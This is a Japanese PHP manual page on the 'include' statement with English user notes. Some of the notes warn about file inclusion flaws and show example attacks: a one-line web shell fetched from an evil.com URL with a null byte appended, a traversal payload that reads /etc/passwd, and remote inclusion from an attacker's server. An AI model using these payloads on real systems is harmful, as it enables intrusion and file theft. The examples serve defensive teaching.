This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
include
(PHP 4, PHP 5, PHP 7, PHP 8)
include 式は指定されたファイルを読み込み、評価します。
以下の記述内容は require にも当てはまります。
ファイルのインクルードは、指定されたパスから行います。パスを指定しない場合は、
include_path の設定を利用します。
ファイルが include_path
に見つからないときは、include
は呼び出し元スクリプトのディレクトリと現在の作業ディレクトリも探します。
include は、ファイルを見つけられない場合に
E_WARNING
を発行します。一方 require の場合は、同じ場合に
E_ERROR
を発行する点が異なります。
include と require は、
ファイルがアクセスできない場合、
最終的に E_WARNING や E_ERROR を発生させる前に、
追加の E_WARNING を発生させることに注意して下さい。
パスを指定した場合 —
絶対パス (Windows ならドライブレターあるいは
\ で始まるパス、Unix/Linux 系なら /
で始まるパス) あるいはカレントディレクトリからの相対パス
(. あるいは .. で始まるパス) のどちらでも
— は
include_path は無視されます。たとえば
../ ではじまるファイル名を指定した場合は、
親ディレクトリからそのファイルを探します。
PHP でのファイルのインクルードやインクルードパスについての詳細は include_path のドキュメントを参照ください。
ファイルが読み込まれるとそのファイルに含まれるコードは、 includeもしくはrequireが実行された 行の変数スコープを継承します。 呼び出し側の行で利用可能である全ての変数は、読み込まれたファイル内で利用可能です。 しかし、読み込まれたファイル内で定義されている関数やクラスはすべて グローバルスコープとなります。
例1 基本的な include の例
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>呼び出し側のファイルの関数定義の中で読み込みが行われた場合は、 読み込まれるファイルに含まれる全てのコードは、 その関数内で定義されているものとして動作します。 従って変数のスコープもその関数のものが継承されます。 ただ マジック定数 は例外で、これは読み込みを行う前にパーサが評価します。
例2 関数内での読み込み
<?php
function foo()
{
global $color;
include 'vars.php';
echo "A $color $fruit";
}
/* vars.php は foo() のスコープを継承するため *
* $fruit はこの関数の外では無効となります。 *
* $color はglobalとして宣言されているため *
* 有効です。 */
foo(); // A green apple
echo "A $color $fruit"; // A green
?>ファイルが読み込まれるときには、読み込まれるファイルの先頭で PHPモードを抜けてHTMLモードになり、最後に再びPHPモードに戻ります。 このため、読み込むファイル中のPHPコードとして実行する必要がある コードは、 有効なPHPの開始タグおよび終了タグで括る必要があります。
"URL include ラッパー"が 有効になっている場合、ローカルなパス名 の代わりにURL(HTTP経由)を用いて読み込むファイルを指定することが可能です。 URLで指定されたサーバーがファイルをPHPコードとして解釈することが 出来る場合には、HTTP GETを使用してURLリクエストに引数を指定することが 出来ます。これはファイルの読み込み云々やスコープの継承とは関係なく、 ただ単純にスクリプトがリモートのサーバーで実行されて結果がローカルの スクリプトに読み込まれる、というだけのことです。
例3 HTTP経由の include
<?php
/* この例は www.example.com が.phpはPHPスクリプトとして扱い、.txtは通常の *
* ファイルとして扱うように設定されていると仮定しています。また、ここでの *
* '動作します'という言葉の意味は、変数$fooと$barが読み込まれる側のファイ *
* ルで使用可能である、ということです。 */
// 動作しません: www.example.com では file.txt はPHPコードとして解釈されません。
include 'http://www.example.com/file.txt?foo=1&bar=2';
// 動作しません: 'file.php?foo=1&bar=2' という名前のファイルをローカルファイル
// システム上から探し出そうとします。
include 'file.php?foo=1&bar=2';
// 動作します。
include 'http://www.example.com/file.php?foo=1&bar=2';
?>警告
セキュリティの警告
リモートファイルはリモートサーバー上で実行されます（ファイルの拡張子や リモートサーバーが PHP の実行を許可しているかどうかに依存します）が、 有効な PHP スクリプトである必要があります。なぜならそれはローカル サーバー上で処理されるからです。もしリモートサーバー上で処理された結果が ほしいだけならば、readfile() を使用するほうがよい でしょう。そうでなければ、リモートスクリプトが有効な期待通りのコードを 生成していることを確認するため、注意を払うことが必要になります。
リモートファイル, fopen(), file()も参照ください。
値の返し方: include に失敗したときには
FALSE を返し、警告を発生させます。
成功した場合の戻り値は、インクルードしたファイル側で変更していない限りは
1 です。
インクルードしたファイルの中で return を実行すれば、
そのファイルの処理をそこで止めて呼び出し元に処理を戻せます。
読み込まれたファイルから値を返すことも可能です。
通常の関数で行うのと同様にincludeコールの値を取得することができます。
しかし、読み込まれたリモートファイル(ローカルファイルの場合も同様)の出力が、
有効なPHPの開始／
終了タグを有していない限り、リモートファイルを読み込む際に値を
取得することはできません。
必要な変数をこれらのタグの中で宣言することができ、これらの変数は
ファイルが読み込まれた位置で使用可能となります。
include は特別な言語構造であるため、
引数の前後に括弧は不要です。
戻り値を比較する際には注意してください。
例4 インクルードの戻り値を比較する
<?php
// 動作しません。include(('vars.php') == TRUE) つまり、include('1') と評価されます
if (include('vars.php') == TRUE) {
echo 'OK';
}
// 動作します。
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
例5 include と return 文
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // 'PHP'と出力されます
$bar = include 'noreturn.php';
echo $bar; // 1が出力されます
?>
読み込みが成功すると$barの値は1となります。上の2つの例の違いに
注目してください。最初の例では読み込まれるファイル側で return
を使用し、もう一方では使用していません。
ファイルが読み込めなかった場合、false が返され、
E_WARNING が発生します。
読み込まれるファイルで定義された関数がある場合、 これらは、return の前後によらず メインファイルで使用できます。 このファイルが二度読み込まれた場合、関数が定義済みであるため 致命的なエラーが発生します。 ファイルが読み込み済みであるかどうかを調べ、 読み込まれるファイルの内容を条件分岐で返すかわりに include_once を使用することを推奨します。
PHP ファイルの内容を変数に "include する" もうひとつの方法は、
出力制御関数
を include とともに用いて
出力をキャプチャすることです。たとえば、
例6 出力バッファリングを用い、 PHP ファイルの内容を文字列として読み込む
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}
?>スクリプト中で自動的にファイルをインクルードするには、php.ini の auto_prepend_file および auto_append_file オプションも参照ください。
require, require_once, include_once, get_included_files(), readfile(), virtual() および include_path も参照ください。
add a note
User Contributed Notes 21 notes
snowyurik at gmail dot com ¶
15 years ago
Rash ¶
9 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
<?php
# index.php
define('what', 'ever');
include 'includeFile.php';
# includeFile.php
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
<?php
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . '/../src/includeFile.php';
?>
Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
John Carty ¶
7 years ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec($_GET['command']);?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
Anon ¶
12 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
error17191 at gmail dot com ¶
8 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
Wade. ¶
15 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.
Rick Garcia ¶
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
jbezorg at gmail dot com ¶
5 years ago
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
Ray.Paseur often uses Gmail ¶
9 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
sPlayer ¶
13 years ago
Sometimes it will be usefull to include a string as a filename
<?php
//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);
//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
Chris Bell ¶
14 years ago
A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
joe dot naylor at gmail dot com ¶
13 years ago
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
include('pages/'.$page.'.php');
}
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
hyponiq at gmail dot com ¶
14 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
ayon at hyurl dot com ¶
7 years ago
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
durkboek A_T hotmail D_O_T com ¶
19 years ago
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
// File: index.php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
mbread at m-bread dot com ¶
17 years ago
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
example at user dot com ¶
15 years ago
Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.
<?php
header('Content-type: image/jpeg');
header('Content-Disposition: inline;');
include '/some_image.jpg';
echo 'This file was provided by example@user.com.';
?>
Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
uramihsayibok, gmail, com ¶
16 years ago
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php
function include_all_once ($pattern) {
foreach (glob($pattern) as $file) { // remember the { and } are necessary!
include $file;
}
}
// used like
include_all_once('dir/*.php');
?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
abanarn at gmail dot com ¶
9 years ago
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:
Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>
In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php") it will work fine.
If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20
Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php
Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).
I hope this makes sense and I hope it will someone sometime down the road.
cheers,
Jero Minh ¶
9 years ago
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.
Consider the following:
<?php
ini_set('error_reporting', E_ALL);
echo "Own value before: ";
echo ini_get('error_reporting');
echo "\r\n";
echo "include foo.php: ";
include('foo.php');
echo "@include foo.php: ";
@include('foo.php');
echo "Own value now: " . ini_get('error_reporting');
?>
foo.php
<?php
echo ini_get('error_reporting') . "\r\n";
?>
Output:
Own value before: 32767
include foo.php: 32767
@include foo.php: 0
Own value now: 32767
james at gogo dot co dot nz ¶
20 years ago
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}
$z = "FOO\n";
$z2 = &x($z);
echo $z2;
$z = "NOO\n";
echo $z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
